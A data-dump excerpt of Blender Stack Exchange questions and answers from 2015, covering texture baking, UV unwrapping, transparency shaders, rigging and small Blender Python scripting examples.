  <row Id="35163" PostTypeId="2" ParentId="35159" CreationDate="2015-08-05T22:04:46.053" Score="5" Body="&lt;h2&gt;You can bake Vertex colors to a texure.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Starting from a vertex color layer as in the picture below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qpbz9m.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpbz9m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you must &lt;strong&gt;unwrap&lt;/strong&gt; your model (which may consist of one or multiple meshes) and create a new image to bake onto (&quot;untitled&quot; in my case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JiC6v.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JiC6v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than go in the &lt;strong&gt;Bake&lt;/strong&gt; panel of the Render tab and set Bake mode to Vertex color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5SHQa.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5SHQa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the process is completed you should see something like the picture above.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-05T22:07:32.323" LastActivityDate="2015-08-05T22:07:32.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35164" PostTypeId="2" ParentId="35096" CreationDate="2015-08-05T22:27:14.037" Score="3" Body="&lt;h2&gt;Duplicated Material output node&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Even though it seems to be one, if you try to grab it and move it slightly you should discover that there's another one just behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x48iM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x48iM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZkZAT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZkZAT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have multiple material output, Blender set as &lt;strong&gt;active&lt;/strong&gt; the last selected of them. As in your setup Shader/Surface and Displacement are in different output node, you cannot see both effect at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete one material output node and plug the cables in the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M18Hx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M18Hx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-05T23:32:53.023" LastActivityDate="2015-08-05T23:32:53.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35165" PostTypeId="2" ParentId="35127" CreationDate="2015-08-05T22:45:42.643" Score="8" Body="&lt;p&gt;An image texture with alpha(transparency) data can be used to make transparent materials. Do note that in order for alpha textures to work the image file format requires an alpha channel or be a grayscale mask.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Though my original answer is still applicable and functions. There have been many updates and enhancements since then. One of them being the inclusion of a PBR shaders, Principled BSDF hese specifically. Which, as of v2.8, now also has an Alpha input. Simplifying transparency in many ways.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The following examples utilize a 2px by 2px checker pattern with full black and full alpha transparency.&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;Blender 2.8&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&#xA;Node setup using 'Alpha Channel' with Principled shader:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mCF3M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCF3M.png&quot; alt=&quot;Node Setup 2.8&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Master opacity scale is from -1 to +1&lt;br&gt;&#xA;Positive values decreases opacity&lt;br&gt;&#xA;Negative values increases opacity of masked (transparent) area.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&#xA;In this example; the Transparent Shader is set to white &lt;code&gt;#FFFFFF&lt;/code&gt; which produces full transparency. This is then connected to the top input of 2 Mix Shaders.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alpha from Image Texture is connected to the factor input of first Mix Shader. This takes the alpha data from the image and essentially applies it as a mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color data from the image is not used in this case. Though, when applicable, can be connected to the color input of a shader. Such as mesh based hair and eyelashes for example.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first Mix Shader connects to the bottom of the second. This allows control of the overall opacity.&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;Alpha node setup/example:&lt;a href=&quot;https://i.stack.imgur.com/wIQGy.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wIQGy.gif&quot; alt=&quot;Alpha Node Setup 2.7&quot;&gt;&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A black and white and/or grayscale image can be substituted.&lt;br&gt;&#xA;Black being fully transparent and white being fully opaque.&#xA;Use color output instead of alpha.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grayscale node setup/example:&lt;a href=&quot;https://i.stack.imgur.com/XX5JU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XX5JU.png&quot; alt=&quot;Grayscale Node Setup 2.7&quot;&gt;&lt;/a&gt;&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some raster formats that support alpha are:&lt;br&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;OpenEXR&lt;/strong&gt;&lt;br&gt;Open Source format released by ILM.&lt;br&gt;Designed with CGI workflow in mind.&lt;br&gt;Your image editor may lack support out-of-box.&lt;br&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;JPEG 2000&lt;/strong&gt; - &lt;em&gt;Not original JPEG&lt;/em&gt;&lt;br&gt;Lossy format&lt;br&gt;Support may potentially be limited.&lt;br&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;GIF&lt;/strong&gt;&lt;br&gt;Limited to 256 colors&lt;br&gt;Can be animated&lt;br&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;PNG&lt;/strong&gt;&lt;br&gt;Indexed color has faulty alpha handling. Be sure to use RGB/A mode.&lt;br&gt;&lt;br&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;I would suggest use of OpenEXR when working with raster images containing an alpha channel. For Photoshop users I recommend the &lt;a href=&quot;https://exr-io.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;exr-io&lt;/a&gt; plugin.&lt;br&gt;&lt;br&gt;&#xA;  For those using vector images. To my knowledge SVG is the prime candidate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Note 2:&lt;/strong&gt;&lt;br&gt;&#xA;  The shader used for color can be changed as desired and/or needed. This will also work with volumetric shaders as well. However do understand that volumetrics work a little differently than surface shaders. Any further detail on that would be getting a little too far off topic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Special thanks to Mr Zak and troy_S for their insights in the comments.&lt;br&gt;&lt;br&gt;&#xA;Happy Blending!&lt;/p&gt;&#xA;" OwnerUserId="15507" LastEditorUserId="15507" LastEditDate="2019-09-16T22:53:46.513" LastActivityDate="2019-09-16T22:53:46.513" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="35166" PostTypeId="2" ParentId="19310" CreationDate="2015-08-05T22:55:51.467" Score="3" Body="&lt;h2&gt;Give some margin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you inspect closely your uv, you should se than there are no margin and some colors that are not exactly aligned with the uv grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q2Llb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q2Llb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens because the uv grid (which depend on the number of faces) has different size from the pixel grid (which depends on the baking texture size). You can try to match these with some calculations.... or you can re-unwrap the model in the following way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8o7f5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8o7f5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set the &lt;strong&gt;smart uv margin&lt;/strong&gt; tho a proper value (for a 1024x1024 tex I set 0.05) and than bake with a minumum &lt;strong&gt;bake margin&lt;/strong&gt; of 1. Setting a margin allows a certain tollerance between color, avoiding overlaps and pixel-grid issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K2oVc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2oVc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-05T22:55:51.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35167" PostTypeId="1" CreationDate="2015-08-05T23:16:31.297" Score="2" ViewCount="825" Body="&lt;p&gt;I need to import FBX file to blender using a python script. Does anyone know how we can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16177" LastActivityDate="2015-08-05T23:16:31.297" Title="How to use FBX file into Blender using python script?" Tags="&lt;python&gt;&lt;units&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35168" PostTypeId="1" AcceptedAnswerId="35170" CreationDate="2015-08-05T23:25:13.087" Score="2" ViewCount="259" Body="&lt;p&gt;In the Blender reference manual page &quot;Subdivision Surface Modifier&quot;, in the &quot;Combination&quot; section, there's a file called WoodBlock.blend that apparently shows that you can use the subsurf modifier only to make a hole in a mesh. Can it be done with only a subsurf modifier? I tried to do it myself using my own mesh and with mean creases, but it's not turning out as I expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DqyCR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DqyCR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edges of the hole I made aren't round like the ends of the mesh are (and like they are in Woodblock.blend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that there's a similar &lt;a href=&quot;https://blender.stackexchange.com/questions/15633/cutting-rectangular-hole-in-a-cylinder-with-subsurf-modifier&quot;&gt;question&lt;/a&gt; to this one, but I don't know if that person used a boolean modifier to make the hole itself or used a subsurf modifier.&lt;/p&gt;&#xA;" OwnerUserId="14896" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-06T02:29:01.463" Title="Can I cut a hole in a mesh using only a subsurf modifier?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35170" PostTypeId="2" ParentId="35168" CreationDate="2015-08-05T23:56:03.593" Score="3" Body="&lt;p&gt;What you see in the &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/subsurf.html#combination&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual example&lt;/a&gt; is currently (2.75) still achievable (and probably will be for long time..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your test has not the same result, maybe you should check the mesh. Notice in the image below how the presence of an &lt;strong&gt;additional&lt;/strong&gt; vertex near the cursor led to a non-rounded edge (as like a loopcut would do) while in the other side the edge is rounded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3hFSW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3hFSW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to remove doubles, look for hidden vertices/edge/faces, check topology in general...&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="894" LastEditDate="2015-08-06T02:29:01.463" LastActivityDate="2015-08-06T02:29:01.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35173" PostTypeId="1" CreationDate="2015-08-06T02:46:41.330" Score="1" ViewCount="514" Body="&lt;p&gt;I have a character body made and im getting it ready for animation in Iclone 6.Im at the Armature stage in blender.The problem is when i test it in pose mode.It mirrors the bone movements to the other side as well and it look all deformed.The left side of the arms and legs dont move with the armature.Im thinking its caused by the mirror modifier i put on the mesh but,Im not sure.  Please help.&lt;/p&gt;&#xA;" OwnerUserId="16134" LastEditorUserId="55" LastEditDate="2015-08-06T08:35:27.510" LastActivityDate="2015-08-06T08:35:27.510" Title="Blender Rigging: Mirrors Changes" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35175" PostTypeId="2" ParentId="35114" CreationDate="2015-08-06T04:59:03.957" Score="1" Body="&lt;p&gt;In response to Monster's comment I have tweaked some settings regarding UV. I found out that when I unwrapped the floors of all three types of pieces and I set the texture coordinate to UV that it looks the same for all floorpieces and also the same in the 3D view and the rendered view. &#xA;Why it only went wrong with 1 type I still do not know (because I had not unwrapped any of the pieces earlier) but luckily the problem is solved now. &lt;/p&gt;&#xA;" OwnerUserId="16155" LastActivityDate="2015-08-06T04:59:03.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35176" PostTypeId="1" CreationDate="2015-08-06T05:12:13.007" Score="1" ViewCount="163" Body="&lt;p&gt;I want to create a very simple add-on that will automatically call some code (e.g. see example below) that will create a custom group node to be available in the compositor. What should the simple add-on look like? Apparently this code cannot be executed in the register() of the add-on due to the following error: AttributeError: '_RestrictData' object has no attribute “node_groups”. So where should such code be automatically be called within the add-on? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def createGroupNodes():&#xA;  # create a COMBINE XYZ group&#xA;  vector_group = bpy.data.node_groups.new('CombineXYZ', 'CompositorNodeTree')&#xA;&#xA;  # create group INPUTS&#xA;  group_inputs = vector_group.nodes.new('NodeGroupInput')&#xA;  group_inputs.location = (-300,0)&#xA;  vector_group.inputs.new('NodeSocketFloat','X')&#xA;  vector_group.inputs.new('NodeSocketFloat','Y')&#xA;  vector_group.inputs.new('NodeSocketFloat','Z')&#xA;&#xA;  # create group OUTPUTS&#xA;  group_outputs = vector_group.nodes.new('NodeGroupOutput')&#xA;  group_outputs.location = (300,0)&#xA;  vector_group.outputs.new('NodeSocketVector','Vector')&#xA;&#xA;  # create three math nodes in a group&#xA;  node_combine = vector_group.nodes.new('CompositorNodeCombRGBA')&#xA;  node_combine.location = (000,0)&#xA;&#xA;  # link inputs&#xA;  vector_group.links.new(group_inputs.outputs['X'], node_combine.inputs[0])&#xA;  vector_group.links.new(group_inputs.outputs['Y'], node_combine.inputs[1])&#xA;  vector_group.links.new(group_inputs.outputs['Z'], node_combine.inputs[2])&#xA;&#xA;  #link output&#xA;  vector_group.links.new(node_combine.outputs[0], group_outputs.inputs['Vector'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="274" LastActivityDate="2015-08-06T10:50:18.913" Title="Execute custom code once automatically in an add-on" Tags="&lt;python&gt;&lt;add-on&gt;&lt;pynodes&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35177" PostTypeId="1" CreationDate="2015-08-06T05:19:37.077" Score="2" ViewCount="827" Body="&lt;p&gt;Imagine two opaque plastic spheres with small light bulbs inside of each that aren't too bright.  They should both emit light, but also be partially illuminated even more by the light emitted from the other one.  So, hiding one of the spheres should make the other less bright and vice versa.  I would prefer to use the Cycles renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like I can only choose between using emission or diffuse material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I'm a newb at Blender but know the basics.&lt;/p&gt;&#xA;" OwnerUserId="16182" LastActivityDate="2015-08-06T19:32:01.650" Title="How to create an object with both emmision and diffuse or reflective properties?" Tags="&lt;light&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35178" PostTypeId="2" ParentId="35177" CreationDate="2015-08-06T05:45:16.323" Score="0" Body="&lt;p&gt;You could mix Diffuse and Emission shaders by Mix node, using constant amount of mixing or based on surface normal, different ray factors, or even custom texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/naM2B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/naM2B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-08-06T05:45:16.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35179" PostTypeId="2" ParentId="35173" CreationDate="2015-08-06T05:53:48.640" Score="1" Body="&lt;p&gt;To prevent the bones from mirroring , you just have to uncheck &quot;X-Axis Mirror&quot; in the tool panel, while in armature edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7lPlf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7lPlf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-06T05:53:48.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35181" PostTypeId="2" ParentId="35177" CreationDate="2015-08-06T06:48:05.493" Score="1" Body="&lt;p&gt;You can plug a Texture Coordinates node from Reflection to Mapping node, mapping node to Math node set to mulptiply connected to ColorRamp and connected to another Math node set to multiply plugged in a Mix Shader node, in the Mix Shader connect Emmision Shader and another Mix Shader With Diffuse as the First Shader and With Translucent as the Second shader &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0VBCX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0VBCX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;The Result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gGjih.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gGjih.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-06T06:48:05.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35182" PostTypeId="1" CreationDate="2015-08-06T06:55:06.267" Score="0" ViewCount="706" Body="&lt;p&gt;I really would like to learn about UV mapping and I presume this is the best community for me to ask about Blender. I have a 3D building model produced from &lt;a href=&quot;http://desktop.arcgis.com/en/cityengine/&quot; rel=&quot;nofollow&quot;&gt;CityEngine&lt;/a&gt; and when it was exported into collada (.dae file) -or even .obj file- all its textures are stored in one folder. I mean, there are alot of images stored. I was searching for a means to merge these images into one image file and I have this UV mapping researched. I would like to ask how would I do that in blender. Can somebody help me edit my model and have the UV mapping in blender? I don't know where to start, I have importd my model into blender yet none of the textures were displayed. it's all white. I really appreciate help from you nad God bless. &lt;/p&gt;&#xA;" OwnerUserId="16184" LastEditorUserId="23809" LastEditDate="2016-05-02T17:14:08.750" LastActivityDate="2016-08-30T22:45:18.813" Title="Import 3D model from CityEngine into Blender and edit UV Map" Tags="&lt;modeling&gt;&lt;uv&gt;&lt;import&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35183" PostTypeId="2" ParentId="35182" CreationDate="2015-08-06T07:33:43.153" Score="1" Body="&lt;p&gt;To UV Unwrap your model, Go to Edit mode of your object and select all the mesh, then press &lt;kbd&gt;U&lt;/kbd&gt; on your keyboard to open UV Mapping options and select smart UV project, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CBzIj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CBzIj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after change your window mode to UV mapping,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z48CX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z48CX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and finally open the texture you want to give to your object in the bottom bar, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zdes2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zdes2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once you opened you can scale and move your UV map untill it matches your texture how you want it.To scale press &lt;kbd&gt;S&lt;/kbd&gt; key, to move press &lt;kbd&gt;G&lt;/kbd&gt; key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/raeeg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/raeeg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-06T07:33:43.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35184" PostTypeId="1" CreationDate="2015-08-06T07:50:26.617" Score="2" ViewCount="237" Body="&lt;p&gt;Hey I have a questions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a prop_search which is filled with names. Is there some kind of callback when I change the selection of the prop_search?&#xA;like I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    col = layout.column()        &#xA;    col.prop_search(context.scene, &quot;hdri&quot;, context.scene, &quot;coll&quot;, icon='OBJECT_DATA')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can I somehow define a function that is triggered whenever I change the prop_search?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm pretty new to Python for Blender.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="16185" LastEditorUserId="47" LastEditDate="2015-08-06T09:54:57.193" LastActivityDate="2015-08-06T10:49:46.363" Title="Reacting to changes to a Python defined RNA Property" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35185" PostTypeId="1" AcceptedAnswerId="35238" CreationDate="2015-08-06T07:59:21.527" Score="6" ViewCount="2832" Body="&lt;p&gt;Here I have a model which I am sculpting. In Sculpt mode it is smooth, while in the Object mode it is not. There are no modifiers or anything, so what could be the problem ?&#xA;Here is the file for a part of the object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/400/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=400&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.&lt;a href=&quot;https://i.stack.imgur.com/WUHGG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WUHGG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2019-07-09T05:24:01.820" Title="Shading in object mode differ from sculpting mode?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;sculpting&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35187" PostTypeId="2" ParentId="35184" CreationDate="2015-08-06T08:27:28.610" Score="2" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, for any property, you can define a &lt;code&gt;set&lt;/code&gt; and &lt;code&gt;update&lt;/code&gt; callbacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are functions you define, passed as an argument and called by Blender whenever the property changes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get&lt;/code&gt; - you can return the value and store it wherever you like.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;set&lt;/code&gt; - you're responsible for making sure the new value is stored/modified.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;update&lt;/code&gt; - is called after setting, often used to ensure related data is updated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html#bpy.props.EnumProperty&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html#bpy.props.EnumProperty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the example above, you would have to set the callback on the &lt;code&gt;hdri&lt;/code&gt; property definition.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-06T10:49:46.363" LastActivityDate="2015-08-06T10:49:46.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35188" PostTypeId="2" ParentId="35152" CreationDate="2015-08-06T08:58:20.030" Score="2" Body="&lt;p&gt;The only way I can think of is to use &lt;code&gt;Object.to_mesh()&lt;/code&gt; and read normals from this temp mesh datablock, before freeing it (see also &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_0/bpy.types.Object.html#bpy.types.Object.to_mesh&quot; rel=&quot;nofollow&quot;&gt;the doc&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me = my_ob.to_mesh(scene, True, 'Render', False, False)&#xA;for v in me.vertices:&#xA;    print(v.normal)&#xA;bpy.data.meshes.remove(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Quite obviously, you need to set the influence of your shape key accordingly first.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-08-06T08:58:20.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
